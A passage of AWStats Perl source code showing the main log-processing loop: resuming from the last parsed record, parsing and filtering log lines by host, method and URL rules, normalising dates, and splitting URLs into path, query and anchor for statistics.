18119	my $regversafariver   = qr/version\/([\d\.]*)/i;
18120	my $regverchrome      = qr/chrome\/([\d\.]*)/i;
18121	my $regverkonqueror   = qr/konqueror\/([\d\.]*)/i;
18122	my $regversvn         = qr/svn\/([\d\.]*)/i;
18123	my $regvermozilla     = qr/mozilla(\/|)([\d\.]*)/i;
18124	my $regnotie          = qr/webtv|omniweb|opera/i;
18125	my $regnotnetscape    = qr/gecko|compatible|opera|galeon|safari|charon/i;
18126	my $regnotfirefox     = qr/flock/i;
18127	my $regnotsafari      = qr/android|arora|chrome|shiira/i;
18128	my $regreferer        = qr/^(\w+):\/\/([^\/:]+)(:\d+|)/;
18129	my $regreferernoquery = qr/^([^$URLQuerySeparators]+)/;
18130	my $reglocal          = qr/^(www\.|)$sitewithoutwww/i;
18131	my $regget            = qr/get|out/i;
18132	my $regsent           = qr/sent|put|in/i;
18133
18134	# Define value of $pos_xxx, @fieldlib, $PerlParsingFormat
18135	&DefinePerlParsingFormat($LogFormat);
18136
18137	# Load DNS Cache Files
18138	#------------------------------------------
18139	if ($DNSLookup) {
18140		&Read_DNS_Cache( \%MyDNSTable, "$DNSStaticCacheFile", "", 1 )
18141		  ; # Load with save into a second plugin file if plugin enabled and second file not up to date. No use of FileSuffix
18142		if ( $DNSLookup == 1 ) {    # System DNS lookup required
18143			 #if (! eval("use Socket;")) { error("Failed to load perl module Socket."); }
18144			 #use Socket;
18145			&Read_DNS_Cache( \%TmpDNSLookup, "$DNSLastUpdateCacheFile",
18146				"$FileSuffix", 0 )
18147			  ;    # Load with no save into a second plugin file. Use FileSuffix
18148		}
18149	}
18150
18151	# Processing log
18152	#------------------------------------------
18153
18154	if ($EnableLockForUpdate) {
18155
18156		# Trap signals to remove lock
18157		$SIG{INT} = \&SigHandler;    # 2
18158		                             #$SIG{KILL} = \&SigHandler;	# 9
18159		                             #$SIG{TERM} = \&SigHandler;	# 15
18160		                             # Set AWStats update lock
18161		&Lock_Update(1);
18162	}
18163
18164	if ($Debug) {
18165		debug("Start Update process (lastprocesseddate=$lastprocesseddate)");
18166	}
18167
18168	# Open log file
18169	if ($Debug) { debug("Open log file \"$LogFile\""); }
18170	open( LOG, "$LogFile" )
18171	  || error("Couldn't open server log file \"$LogFile\" : $!");
18172	binmode LOG
18173	  ;   # Avoid premature EOF due to log files corrupted with \cZ or bin chars
18174
18175	# Define local variables for loop scan
18176	my @field               = ();
18177	my $counterforflushtest = 0;
18178	my $qualifdrop          = '';
18179	my $countedtraffic      = 0;
18180
18181	# Reset chrono for benchmark (first call to GetDelaySinceStart)
18182	&GetDelaySinceStart(1);
18183	if ( !scalar keys %HTMLOutput ) {
18184		print "Phase 1 : First bypass old records, searching new record...\n";
18185	}
18186
18187	# Can we try a direct seek access in log ?
18188	my $line;
18189	if ( $LastLine && $LastLineNumber && $LastLineOffset && $LastLineChecksum )
18190	{
18191
18192		# Try a direct seek access to save time
18193		if ($Debug) {
18194			debug(
18195"Try a direct access to LastLine=$LastLine, LastLineNumber=$LastLineNumber, LastLineOffset=$LastLineOffset, LastLineChecksum=$LastLineChecksum"
18196			);
18197		}
18198		seek( LOG, $LastLineOffset, 0 );
18199		if ( $line = <LOG> ) {
18200			chomp $line;
18201			$line =~ s/\r$//;
18202			@field = map( /$PerlParsingFormat/, $line );
18203			if ($Debug) {
18204				my $string = '';
18205				foreach ( 0 .. @field - 1 ) {
18206					$string .= "$fieldlib[$_]=$field[$_] ";
18207				}
18208				if ($Debug) {
18209					debug( " Read line after direct access: $string", 1 );
18210				}
18211			}
18212			my $checksum = &CheckSum($line);
18213			if ($Debug) {
18214				debug(
18215" LastLineChecksum=$LastLineChecksum, Read line checksum=$checksum",
18216					1
18217				);
18218			}
18219			if ( $checksum == $LastLineChecksum ) {
18220				if ( !scalar keys %HTMLOutput ) {
18221					print
18222"Direct access after last parsed record (after line $LastLineNumber)\n";
18223				}
18224				$lastlinenb         = $LastLineNumber;
18225				$lastlineoffset     = $LastLineOffset;
18226				$lastlineoffsetnext = tell LOG;
18227				$NewLinePhase       = 1;
18228			}
18229			else {
18230				if ( !scalar keys %HTMLOutput ) {
18231					print
18232"Direct access to last remembered record has fallen on another record.\nSo searching new records from beginning of log file...\n";
18233				}
18234				$lastlinenb         = 0;
18235				$lastlineoffset     = 0;
18236				$lastlineoffsetnext = 0;
18237				seek( LOG, 0, 0 );
18238			}
18239		}
18240		else {
18241			if ( !scalar keys %HTMLOutput ) {
18242				print
18243"Direct access to last remembered record is out of file.\nSo searching it from beginning of log file...\n";
18244			}
18245			$lastlinenb         = 0;
18246			$lastlineoffset     = 0;
18247			$lastlineoffsetnext = 0;
18248			seek( LOG, 0, 0 );
18249		}
18250	}
18251	else {
18252
18253		# No try of direct seek access
18254		if ( !scalar keys %HTMLOutput ) {
18255			print "Searching new records from beginning of log file...\n";
18256		}
18257		$lastlinenb         = 0;
18258		$lastlineoffset     = 0;
18259		$lastlineoffsetnext = 0;
18260	}
18261
18262	#
18263	# Loop on each log line
18264	#
18265	while ( $line = <LOG> ) {
18266
18267		# 20080525 BEGIN Patch to test if first char of $line = hex "00" then conclude corrupted with binary code
18268		my $FirstHexChar;
18269		$FirstHexChar = sprintf( "%02X", ord( substr( $line, 0, 1 ) ) );
18270		if ( $FirstHexChar eq '00' ) {
18271			$NbOfLinesCorrupted++;
18272			if ($ShowCorrupted) {
18273				print "Corrupted record line "
18274				  . ( $lastlinenb + $NbOfLinesParsed )
18275				  . " (record starts with hex 00; binary code): $line\n";
18276			}
18277			if (   $NbOfLinesParsed >= $NbOfLinesForCorruptedLog
18278				&& $NbOfLinesParsed == $NbOfLinesCorrupted )
18279			{
18280				error( "Format error", $line, $LogFile );
18281			}    # Exit with format error
18282			next;
18283		}
18284		# 20080525 END
18285
18286		chomp $line;
18287		$line =~ s/\r$//;
18288		if ( $UpdateFor && $NbOfLinesParsed >= $UpdateFor ) { last; }
18289		$NbOfLinesParsed++;
18290
18291		$lastlineoffset     = $lastlineoffsetnext;
18292		$lastlineoffsetnext = tell LOG;
18293
18294		if ($ShowSteps) {
18295			if ( ( ++$NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK ) == 0 ) {
18296				my $delay = &GetDelaySinceStart(0);
18297				print "$NbOfLinesParsed lines processed ("
18298				  . ( $delay > 0 ? $delay : 1000 ) . " ms, "
18299				  . int(
18300					1000 * $NbOfLinesShowsteps / ( $delay > 0 ? $delay : 1000 )
18301				  )
18302				  . " lines/second)\n";
18303			}
18304		}
18305
18306		if ( $LogFormat eq '2' && $line =~ /^#Fields:/ ) {
18307			my @fixField = map( /^#Fields: (.*)/, $line );
18308			if ( $fixField[0] !~ /s-kernel-time/ ) {
18309				debug( "Found new log format: '" . $fixField[0] . "'", 1 );
18310				&DefinePerlParsingFormat( $fixField[0] );
18311			}
18312		}
18313
18314		# Parse line record to get all required fields
18315		if ( !( @field = map( /$PerlParsingFormat/, $line ) ) ) {
18316			# see if the line is a comment, blank or corrupted
18317 			if ( $line =~ /^#/ || $line =~ /^!/ ) {
18318				$NbOfLinesComment++;
18319				if ($ShowCorrupted){
18320					print "Comment record line "
18321					  . ( $lastlinenb + $NbOfLinesParsed )
18322					  . ": $line\n";
18323				}
18324 			}
18325 			elsif ( $line =~ /^\s*$/ ) {
18326 				$NbOfLinesBlank++;
18327				if ($ShowCorrupted){
18328					print "Blank record line "
18329					  . ( $lastlinenb + $NbOfLinesParsed )
18330					  . "\n";
18331				}
18332 			}else{
18333 				$NbOfLinesCorrupted++;
18334 				if ($ShowCorrupted){
18335 				print "Corrupted record line "
18336  					  . ( $lastlinenb + $NbOfLinesParsed )
18337  					  . " (record format does not match LogFormat parameter): $line\n";
18338  				}
18339			}
18340			if (   $NbOfLinesParsed >= $NbOfLinesForCorruptedLog
18341				&& $NbOfLinesParsed == ($NbOfLinesCorrupted + $NbOfLinesComment + $NbOfLinesBlank))
18342			{
18343				error( "Format error", $line, $LogFile );
18344			}    # Exit with format error
18345			if ( $line =~ /^__end_of_file__/i ) { last; } # For test purpose only
18346			next;
18347		}
18348
18349		if ($Debug) {
18350			my $string = '';
18351			foreach ( 0 .. @field - 1 ) {
18352				$string .= "$fieldlib[$_]=$field[$_] ";
18353			}
18354			if ($Debug) {
18355				debug(
18356					" Correct format line "
18357					  . ( $lastlinenb + $NbOfLinesParsed )
18358					  . ": $string",
18359					4
18360				);
18361			}
18362		}
18363
18364		# Drop wrong virtual host name
18365		#----------------------------------------------------------------------
18366		if ( $pos_vh >= 0 && $field[$pos_vh] !~ /^$SiteDomain$/i ) {
18367			my $skip = 1;
18368			foreach (@HostAliases) {
18369				if ( $field[$pos_vh] =~ /$_/ ) { $skip = 0; last; }
18370			}
18371			if ($skip) {
18372				$NbOfLinesDropped++;
18373				if ($ShowDropped) {
18374					print
18375"Dropped record (virtual hostname '$field[$pos_vh]' does not match SiteDomain='$SiteDomain' nor HostAliases parameters): $line\n";
18376				}
18377				next;
18378			}
18379		}
18380
18381		# Drop wrong method/protocol
18382		#---------------------------
18383		if ( $LogType ne 'M' ) { $field[$pos_url] =~ s/\s/%20/g; }
18384		if (
18385			$LogType eq 'W'
18386			&& (
18387				   $field[$pos_method] eq 'GET'
18388				|| $field[$pos_method] eq 'POST'
18389				|| $field[$pos_method] eq 'HEAD'
18390				|| $field[$pos_method] eq 'PROPFIND'
18391				|| $field[$pos_method] eq 'CHECKOUT'
18392				|| $field[$pos_method] eq 'LOCK'
18393				|| $field[$pos_method] eq 'PROPPATCH'
18394				|| $field[$pos_method] eq 'OPTIONS'
18395				|| $field[$pos_method] eq 'MKACTIVITY'
18396				|| $field[$pos_method] eq 'PUT'
18397				|| $field[$pos_method] eq 'MERGE'
18398				|| $field[$pos_method] eq 'DELETE'
18399				|| $field[$pos_method] eq 'REPORT'
18400				|| $field[$pos_method] eq 'MKCOL'
18401				|| $field[$pos_method] eq 'COPY'
18402				|| $field[$pos_method] eq 'RPC_IN_DATA'
18403				|| $field[$pos_method] eq 'RPC_OUT_DATA'
18404				|| $field[$pos_method] eq 'OK'             # Webstar
18405				|| $field[$pos_method] eq 'ERR!'           # Webstar
18406				|| $field[$pos_method] eq 'PRIV'           # Webstar
18407			)
18408		  )
18409		{
18410
18411# HTTP request.	Keep only GET, POST, HEAD, *OK* and ERR! for Webstar. Do not keep OPTIONS, TRACE
18412		}
18413		elsif (
18414			( $LogType eq 'W' || $LogType eq 'S' )
18415			&& (   uc($field[$pos_method]) eq 'GET'
18416				|| uc($field[$pos_method]) eq 'MMS'
18417				|| uc($field[$pos_method]) eq 'RTSP'
18418				|| uc($field[$pos_method]) eq 'HTTP'
18419				|| uc($field[$pos_method]) eq 'RTP' )
18420		  )
18421		{
18422
18423# Streaming request (windows media server, realmedia or darwin streaming server)
18424		}
18425		elsif ( $LogType eq 'M' && $field[$pos_method] eq 'SMTP' ) {
18426
18427		# Mail request ('SMTP' for mail log with maillogconvert.pl preprocessor)
18428		}
18429		elsif (
18430			$LogType eq 'F'
18431			&& (   $field[$pos_method] eq 'RETR'
18432				|| $field[$pos_method] eq 'D'
18433				|| $field[$pos_method] eq 'o'
18434				|| $field[$pos_method] =~ /$regget/o )
18435		  )
18436		{
18437
18438			# FTP GET request
18439		}
18440		elsif (
18441			$LogType eq 'F'
18442			&& (   $field[$pos_method] eq 'STOR'
18443				|| $field[$pos_method] eq 'U'
18444				|| $field[$pos_method] eq 'i'
18445				|| $field[$pos_method] =~ /$regsent/o )
18446		  )
18447		{
18448
18449			# FTP SENT request
18450		}
18451		elsif($line =~ m/#Fields:/){
18452 			# log #fields as comment
18453 			$NbOfLinesComment++;
18454 			next;
18455 		}else{
18456			$NbOfLinesDropped++;
18457			if ($ShowDropped) {
18458				print
18459"Dropped record (method/protocol '$field[$pos_method]' not qualified when LogType=$LogType): $line\n";
18460			}
18461			next;
18462		}
18463
18464		# Reformat date for IIS date -DWG 12/8/2008
18465		if($field[$pos_date] =~ /,/)
18466		{
18467			$field[$pos_date] =~ s/,//;
18468			my @split_date = split(' ',$field[$pos_date]);
18469			my @dateparts2= split('/',$split_date[0]);
18470			my @timeparts2= split(':',$split_date[1]);
18471			#add leading zero
18472			for($dateparts2[0],$dateparts2[1], $timeparts2[0], $timeparts2[1],  $timeparts2[2])			{
18473				if($_ =~ /^.$/)
18474				{
18475					$_ = '0'.$_;
18476				}
18477
18478			}
18479
18480			$field[$pos_date] = "$dateparts2[2]-$dateparts2[0]-$dateparts2[1] $timeparts2[0]:$timeparts2[1]:$timeparts2[2]";
18481		}
18482
18483		$field[$pos_date] =~
18484		  tr/,-\/ \tT/::::::/s;  # " \t" is used instead of "\s" not known with tr
18485		my @dateparts =
18486		  split( /:/, $field[$pos_date] ); # tr and split faster than @dateparts=split(/[\/\-:\s]/,$field[$pos_date])
18487		 # Detected date format:
18488		 # dddddddddd, YYYY-MM-DD HH:MM:SS (IIS), MM/DD/YY\tHH:MM:SS,
18489		 # DD/Month/YYYY:HH:MM:SS (Apache), DD/MM/YYYY HH:MM:SS, Mon DD HH:MM:SS,
18490		 # YYYY-MM-DDTHH:MM:SS (iso)
18491		if ( !$dateparts[1] ) {    # Unix timestamp
18492			(
18493				$dateparts[5], $dateparts[4], $dateparts[3],
18494				$dateparts[0], $dateparts[1], $dateparts[2]
18495			  )
18496			  = localtime( int( $field[$pos_date] ) );
18497			$dateparts[1]++;
18498			$dateparts[2] += 1900;
18499		}
18500		elsif ( $dateparts[0] =~ /^....$/ ) {
18501			my $tmp = $dateparts[0];
18502			$dateparts[0] = $dateparts[2];
18503			$dateparts[2] = $tmp;
18504		}
18505		elsif ( $field[$pos_date] =~ /^..:..:..:/ ) {
18506			$dateparts[2] += 2000;
18507			my $tmp = $dateparts[0];
18508			$dateparts[0] = $dateparts[1];
18509			$dateparts[1] = $tmp;
18510		}
18511		elsif ( $dateparts[0] =~ /^...$/ ) {
18512			my $tmp = $dateparts[0];
18513			$dateparts[0] = $dateparts[1];
18514			$dateparts[1] = $tmp;
18515			$tmp          = $dateparts[5];
18516			$dateparts[5] = $dateparts[4];
18517			$dateparts[4] = $dateparts[3];
18518			$dateparts[3] = $dateparts[2];
18519			$dateparts[2] = $tmp || $nowyear;
18520		}
18521		if ( exists( $MonthNum{ $dateparts[1] } ) ) {
18522			$dateparts[1] = $MonthNum{ $dateparts[1] };
18523		}    # Change lib month in num month if necessary
18524		if ( $dateparts[1] <= 0 )
18525		{ # Date corrupted (for example $dateparts[1]='dic' for december month in a spanish log file)
18526			$NbOfLinesCorrupted++;
18527			if ($ShowCorrupted) {
18528				print "Corrupted record line "
18529				  . ( $lastlinenb + $NbOfLinesParsed )
18530				  . " (bad date format for month, may be month are not in english ?): $line\n";
18531			}
18532			next;
18533		}
18534
18535# Now @dateparts is (DD,MM,YYYY,HH,MM,SS) and we're going to create $timerecord=YYYYMMDDHHMMSS
18536		if ( $PluginsLoaded{'ChangeTime'}{'timezone'} ) {
18537			@dateparts = ChangeTime_timezone( \@dateparts );
18538		}
18539		my $yearrecord  = int( $dateparts[2] );
18540		my $monthrecord = int( $dateparts[1] );
18541		my $dayrecord   = int( $dateparts[0] );
18542		my $hourrecord  = int( $dateparts[3] );
18543		my $daterecord  = '';
18544		if ( $DatabaseBreak eq 'month' ) {
18545			$daterecord = sprintf( "%04i%02i", $yearrecord, $monthrecord );
18546		}
18547		elsif ( $DatabaseBreak eq 'year' ) {
18548			$daterecord = sprintf( "%04i%", $yearrecord );
18549		}
18550		elsif ( $DatabaseBreak eq 'day' ) {
18551			$daterecord =
18552			  sprintf( "%04i%02i%02i", $yearrecord, $monthrecord, $dayrecord );
18553		}
18554		elsif ( $DatabaseBreak eq 'hour' ) {
18555			$daterecord = sprintf( "%04i%02i%02i%02i",
18556				$yearrecord, $monthrecord, $dayrecord, $hourrecord );
18557		}
18558
18559		# TODO essayer de virer yearmonthrecord
18560		my $yearmonthdayrecord =
18561		  sprintf( "$dateparts[2]%02i%02i", $dateparts[1], $dateparts[0] );
18562		my $timerecord =
18563		  ( ( int("$yearmonthdayrecord") * 100 + $dateparts[3] ) * 100 +
18564			  $dateparts[4] ) * 100 + $dateparts[5];
18565
18566		# Check date
18567		#-----------------------
18568		if ( $LogType eq 'M' && $timerecord > $tomorrowtime ) {
18569
18570# Postfix/Sendmail does not store year, so we assume that year is year-1 if record is in future
18571			$yearrecord--;
18572			if ( $DatabaseBreak eq 'month' ) {
18573				$daterecord = sprintf( "%04i%02i", $yearrecord, $monthrecord );
18574			}
18575			elsif ( $DatabaseBreak eq 'year' ) {
18576				$daterecord = sprintf( "%04i%", $yearrecord );
18577			}
18578			elsif ( $DatabaseBreak eq 'day' ) {
18579				$daterecord = sprintf( "%04i%02i%02i",
18580					$yearrecord, $monthrecord, $dayrecord );
18581			}
18582			elsif ( $DatabaseBreak eq 'hour' ) {
18583				$daterecord = sprintf( "%04i%02i%02i%02i",
18584					$yearrecord, $monthrecord, $dayrecord, $hourrecord );
18585			}
18586
18587			# TODO essayer de virer yearmonthrecord
18588			$yearmonthdayrecord =
18589			  sprintf( "$yearrecord%02i%02i", $dateparts[1], $dateparts[0] );
18590			$timerecord =
18591			  ( ( int("$yearmonthdayrecord") * 100 + $dateparts[3] ) * 100 +
18592				  $dateparts[4] ) * 100 + $dateparts[5];
18593		}
18594		if ( $timerecord < 10000000000000 || $timerecord > $tomorrowtime ) {
18595			$NbOfLinesCorrupted++;
18596			if ($ShowCorrupted) {
18597				print
18598"Corrupted record (invalid date, timerecord=$timerecord): $line\n";
18599			}
18600			next;   # Should not happen, kept in case of parasite/corrupted line
18601		}
18602		if ($NewLinePhase) {
18603
18604			# TODO NOTSORTEDRECORDTOLERANCE does not work around midnight
18605			if ( $timerecord < ( $LastLine - $NOTSORTEDRECORDTOLERANCE ) ) {
18606
18607				# Should not happen, kept in case of parasite/corrupted old line
18608				$NbOfLinesCorrupted++;
18609				if ($ShowCorrupted) {
18610					print
18611"Corrupted record (date $timerecord lower than $LastLine-$NOTSORTEDRECORDTOLERANCE): $line\n";
18612				}
18613				next;
18614			}
18615		}
18616		else {
18617			if ( $timerecord <= $LastLine ) {    # Already processed
18618				$NbOfOldLines++;
18619				next;
18620			}
18621
18622# We found a new line. This will replace comparison "<=" with "<" between timerecord and LastLine (we should have only new lines now)
18623			$NewLinePhase = 1;    # We will never enter here again
18624			if ($ShowSteps) {
18625				if ( $NbOfLinesShowsteps > 1
18626					&& ( $NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK ) )
18627				{
18628					my $delay = &GetDelaySinceStart(0);
18629					print ""
18630					  . ( $NbOfLinesParsed - 1 )
18631					  . " lines processed ("
18632					  . ( $delay > 0 ? $delay : 1000 ) . " ms, "
18633					  . int( 1000 * ( $NbOfLinesShowsteps - 1 ) /
18634						  ( $delay > 0 ? $delay : 1000 ) )
18635					  . " lines/second)\n";
18636				}
18637				&GetDelaySinceStart(1);
18638				$NbOfLinesShowsteps = 1;
18639			}
18640			if ( !scalar keys %HTMLOutput ) {
18641				print
18642"Phase 2 : Now process new records (Flush history on disk after "
18643				  . ( $LIMITFLUSH << 2 )
18644				  . " hosts)...\n";
18645
18646#print "Phase 2 : Now process new records (Flush history on disk after ".($LIMITFLUSH<<2)." hosts or ".($LIMITFLUSH)." URLs)...\n";
18647			}
18648		}
18649
18650		# Convert URL for Webstar to common URL
18651		if ( $LogFormat eq '3' ) {
18652			$field[$pos_url] =~ s/:/\//g;
18653			if ( $field[$pos_code] eq '-' ) { $field[$pos_code] = '200'; }
18654		}
18655
18656# Here, field array, timerecord and yearmonthdayrecord are initialized for log record
18657		if ($Debug) {
18658			debug( "  This is a not already processed record ($timerecord)",
18659				4 );
18660		}
18661
18662		# Check if there's a CloudFlare Visitor IP in the query string
18663		# If it does, replace the ip
18664		if ( $pos_query >= 0 && $field[$pos_query] && $field[$pos_query] =~ /\[CloudFlare_Visitor_IP[:](\d+[.]\d+[.]\d+[.]\d+)\]/ ) {
18665			$field[$pos_host] = "$1";
18666		}
18667
18668		# We found a new line
18669		#----------------------------------------
18670		if ( $timerecord > $LastLine ) {
18671			$LastLine = $timerecord;
18672		}    # Test should always be true except with not sorted log files
18673
18674		# Skip for some client host IP addresses, some URLs, other URLs
18675		if (
18676			@SkipHosts
18677			&& ( &SkipHost( $field[$pos_host] )
18678				|| ( $pos_hostr && &SkipHost( $field[$pos_hostr] ) ) )
18679		  )
18680		{
18681			$qualifdrop =
18682			    "Dropped record (host $field[$pos_host]"
18683			  . ( $pos_hostr ? " and $field[$pos_hostr]" : "" )
18684			  . " not qualified by SkipHosts)";
18685		}
18686		elsif ( @SkipFiles && &SkipFile( $field[$pos_url] ) ) {
18687			$qualifdrop =
18688"Dropped record (URL $field[$pos_url] not qualified by SkipFiles)";
18689		}
18690		elsif (@SkipUserAgents
18691			&& $pos_agent >= 0
18692			&& &SkipUserAgent( $field[$pos_agent] ) )
18693		{
18694			$qualifdrop =
18695"Dropped record (user agent '$field[$pos_agent]' not qualified by SkipUserAgents)";
18696		}
18697		elsif (@SkipReferrers
18698			&& $pos_referer >= 0
18699			&& &SkipReferrer( $field[$pos_referer] ) )
18700		{
18701			$qualifdrop =
18702"Dropped record (URL $field[$pos_referer] not qualified by SkipReferrers)";
18703		}
18704		elsif (@OnlyHosts
18705			&& !&OnlyHost( $field[$pos_host] )
18706			&& ( !$pos_hostr || !&OnlyHost( $field[$pos_hostr] ) ) )
18707		{
18708			$qualifdrop =
18709			    "Dropped record (host $field[$pos_host]"
18710			  . ( $pos_hostr ? " and $field[$pos_hostr]" : "" )
18711			  . " not qualified by OnlyHosts)";
18712		}
18713		elsif ( @OnlyUsers && !&OnlyUser( $field[$pos_logname] ) ) {
18714			$qualifdrop =
18715"Dropped record (URL $field[$pos_logname] not qualified by OnlyUsers)";
18716		}
18717		elsif ( @OnlyFiles && !&OnlyFile( $field[$pos_url] ) ) {
18718			$qualifdrop =
18719"Dropped record (URL $field[$pos_url] not qualified by OnlyFiles)";
18720		}
18721		elsif ( @OnlyUserAgents && !&OnlyUserAgent( $field[$pos_agent] ) ) {
18722			$qualifdrop =
18723"Dropped record (user agent '$field[$pos_agent]' not qualified by OnlyUserAgents)";
18724		}
18725		if ($qualifdrop) {
18726			$NbOfLinesDropped++;
18727			if ($Debug) { debug( "$qualifdrop: $line", 4 ); }
18728			if ($ShowDropped) { print "$qualifdrop: $line\n"; }
18729			$qualifdrop = '';
18730			next;
18731		}
18732
18733		# Record is approved
18734		#-------------------
18735
18736		# Is it in a new break section ?
18737		#-------------------------------
18738		if ( $daterecord > $lastprocesseddate ) {
18739
18740			# A new break to process
18741			if ( $lastprocesseddate > 0 ) {
18742
18743				# We save data of previous break
18744				&Read_History_With_TmpUpdate(
18745					$lastprocessedyear, $lastprocessedmonth,
18746					$lastprocessedday,  $lastprocessedhour,
18747					1,                  1,
18748					"all", ( $lastlinenb + $NbOfLinesParsed ),
18749					$lastlineoffset, &CheckSum($line)
18750				);
18751				$counterforflushtest = 0;    # We reset counterforflushtest
18752			}
18753			$lastprocessedyear  = $yearrecord;
18754			$lastprocessedmonth = $monthrecord;
18755			$lastprocessedday   = $dayrecord;
18756			$lastprocessedhour  = $hourrecord;
18757			if ( $DatabaseBreak eq 'month' ) {
18758				$lastprocesseddate =
18759				  sprintf( "%04i%02i", $yearrecord, $monthrecord );
18760			}
18761			elsif ( $DatabaseBreak eq 'year' ) {
18762				$lastprocesseddate = sprintf( "%04i%", $yearrecord );
18763			}
18764			elsif ( $DatabaseBreak eq 'day' ) {
18765				$lastprocesseddate = sprintf( "%04i%02i%02i",
18766					$yearrecord, $monthrecord, $dayrecord );
18767			}
18768			elsif ( $DatabaseBreak eq 'hour' ) {
18769				$lastprocesseddate = sprintf( "%04i%02i%02i%02i",
18770					$yearrecord, $monthrecord, $dayrecord, $hourrecord );
18771			}
18772		}
18773
18774		$countedtraffic = 0;
18775		$NbOfNewLines++;
18776
18777		# Convert $field[$pos_size]
18778		# if ($field[$pos_size] eq '-') { $field[$pos_size]=0; }
18779
18780	# Define a clean target URL and referrer URL
18781	# We keep a clean $field[$pos_url] and
18782	# we store original value for urlwithnoquery, tokenquery and standalonequery
18783	#---------------------------------------------------------------------------
18784
18785		# Decode "unreserved characters" - URIs with common ASCII characters
18786		# percent-encoded are equivalent to their unencoded versions.
18787		#
18788		# See section 2.3. of RFC 3986.
18789
18790		$field[$pos_url] = DecodeRFC3986UnreservedString($field[$pos_url]);
18791
18792		if ($URLNotCaseSensitive) { $field[$pos_url] = lc( $field[$pos_url] ); }
18793
18794# Possible URL syntax for $field[$pos_url]: /mydir/mypage.ext?param1=x&param2=y#aaa, /mydir/mypage.ext#aaa, /
18795		my $urlwithnoquery;
18796		my $tokenquery;
18797		my $standalonequery;
18798		my $anchor = '';
18799		if ( $field[$pos_url] =~ s/$regtruncanchor//o ) {
18800			$anchor = $1;
18801		}    # Remove and save anchor
18802		if ($URLWithQuery) {
18803			$urlwithnoquery = $field[$pos_url];
18804			my $foundparam = ( $urlwithnoquery =~ s/$regtruncurl//o );
18805			$tokenquery      = $1 || '';
18806			$standalonequery = $2 || '';
18807
18808# For IIS setup, if pos_query is enabled we need to combine the URL to query strings
18809			if (   !$foundparam
18810				&& $pos_query >= 0
18811				&& $field[$pos_query]
18812				&& $field[$pos_query] ne '-' )
18813			{
18814				$foundparam      = 1;
18815				$tokenquery      = '?';
18816				$standalonequery = $field[$pos_query];
18817
18818				# Define query
18819				$field[$pos_url] .= '?' . $field[$pos_query];
18820			}
18821			if ($foundparam) {
18822
18823  # Keep only params that are defined in URLWithQueryWithOnlyFollowingParameters
18824				my $newstandalonequery = '';
18825				if (@URLWithQueryWithOnly) {
18826					foreach (@URLWithQueryWithOnly) {
18827						foreach my $p ( split( /&/, $standalonequery ) ) {
18828							if ($URLNotCaseSensitive) {
18829								if ( $p =~ /^$_=/i ) {
18830									$newstandalonequery .= "$p&";
18831									last;
18832								}
18833							}
18834							else {
18835								if ( $p =~ /^$_=/ ) {
18836									$newstandalonequery .= "$p&";
18837									last;
18838								}
18839							}
18840						}
18841					}
18842					chop $newstandalonequery;
18843				}
18844
18845# Remove params that are marked to be ignored in URLWithQueryWithoutFollowingParameters
18846				elsif (@URLWithQueryWithout) {
18847					foreach my $p ( split( /&/, $standalonequery ) ) {
18848						my $found = 0;
18849						foreach (@URLWithQueryWithout) {
18850
18851#if ($Debug) { debug("  Check if '$_=' is param '$p' to remove it from query",5); }
18852							if ($URLNotCaseSensitive) {
18853								if ( $p =~ /^$_=/i ) { $found = 1; last; }
18854							}
18855							else {
18856								if ( $p =~ /^$_=/ ) { $found = 1; last; }
18857							}
18858						}
18859						if ( !$found ) { $newstandalonequery .= "$p&"; }
18860					}
18861					chop $newstandalonequery;
18862				}
18863				else { $newstandalonequery = $standalonequery; }
18864
18865				# Define query
18866				$field[$pos_url] = $urlwithnoquery;
18867				if ($newstandalonequery) {
18868					$field[$pos_url] .= "$tokenquery$newstandalonequery";
18869				}
18870			}
18871		}
18872		else {
18873
18874			# Trunc parameters of URL
18875			$field[$pos_url] =~ s/$regtruncurl//o;
18876			$urlwithnoquery  = $field[$pos_url];
18877			$tokenquery      = $1 || '';
18878			$standalonequery = $2 || '';
18879
18880	# For IIS setup, if pos_query is enabled we need to use it for query strings
18881			if (   $pos_query >= 0
18882				&& $field[$pos_query]
18883				&& $field[$pos_query] ne '-' )
18884			{
18885				$tokenquery      = '?';
18886				$standalonequery = $field[$pos_query];
18887			}
18888		}
18889		if ( $URLWithAnchor && $anchor ) {
18890			$field[$pos_url] .= "#$anchor";
18891		}   # Restore anchor
18892		    # Here now urlwithnoquery is /mydir/mypage.ext, /mydir, /, /page#XXX
18893		    # Here now tokenquery is '' or '?' or ';'
18894		    # Here now standalonequery is '' or 'param1=x'
18895
18896		# Define page and extension
18897		#--------------------------
18898		my $PageBool = 1;
18899
18900		# Extension
18901		my $extension = Get_Extension($regext, $urlwithnoquery);
18902		if ( $NotPageList{$extension} ||
18903		($MimeHashLib{$extension}[1]) && $MimeHashLib{$extension}[1] ne 'p') { $PageBool = 0;}
18904		if ( @NotPageFiles && &NotPageFile( $field[$pos_url] ) ) { $PageBool = 0; }
18905
18906		# Analyze: misc tracker (must be before return code)
18907		#---------------------------------------------------
18908		if ( $urlwithnoquery =~ /$regmisc/o ) {
18909			if ($Debug) {
18910				debug(
18911"  Found an URL that is a MiscTracker record with standalonequery=$standalonequery",
18912					2
18913				);
18914			}
18915			my $foundparam = 0;
18916			foreach ( split( /&/, $standalonequery ) ) {
18917				if ( $_ =~ /^screen=(\d+)x(\d+)/i ) {
18918					$foundparam++;
18919					$_screensize_h{"$1x$2"}++;
18920					next;
18921				}
18922
18923   #if ($_ =~ /cdi=(\d+)/i) 			{ $foundparam++; $_screendepth_h{"$1"}++; next; }
18924				if ( $_ =~ /^nojs=(\w+)/i ) {
18925					$foundparam++;
18926					if ( $1 eq 'y' ) { $_misc_h{"JavascriptDisabled"}++; }
18927					next;
18928				}
18929				if ( $_ =~ /^java=(\w+)/i ) {
18930					$foundparam++;
18931					if ( $1 eq 'true' ) { $_misc_h{"JavaEnabled"}++; }
18932					next;
18933				}
18934				if ( $_ =~ /^shk=(\w+)/i ) {
18935					$foundparam++;
18936					if ( $1 eq 'y' ) { $_misc_h{"DirectorSupport"}++; }
18937					next;
18938				}
18939				if ( $_ =~ /^fla=(\w+)/i ) {
18940					$foundparam++;
18941					if ( $1 eq 'y' ) { $_misc_h{"FlashSupport"}++; }
18942					next;
18943				}
18944				if ( $_ =~ /^rp=(\w+)/i ) {
18945					$foundparam++;
18946					if ( $1 eq 'y' ) { $_misc_h{"RealPlayerSupport"}++; }
18947					next;
18948				}
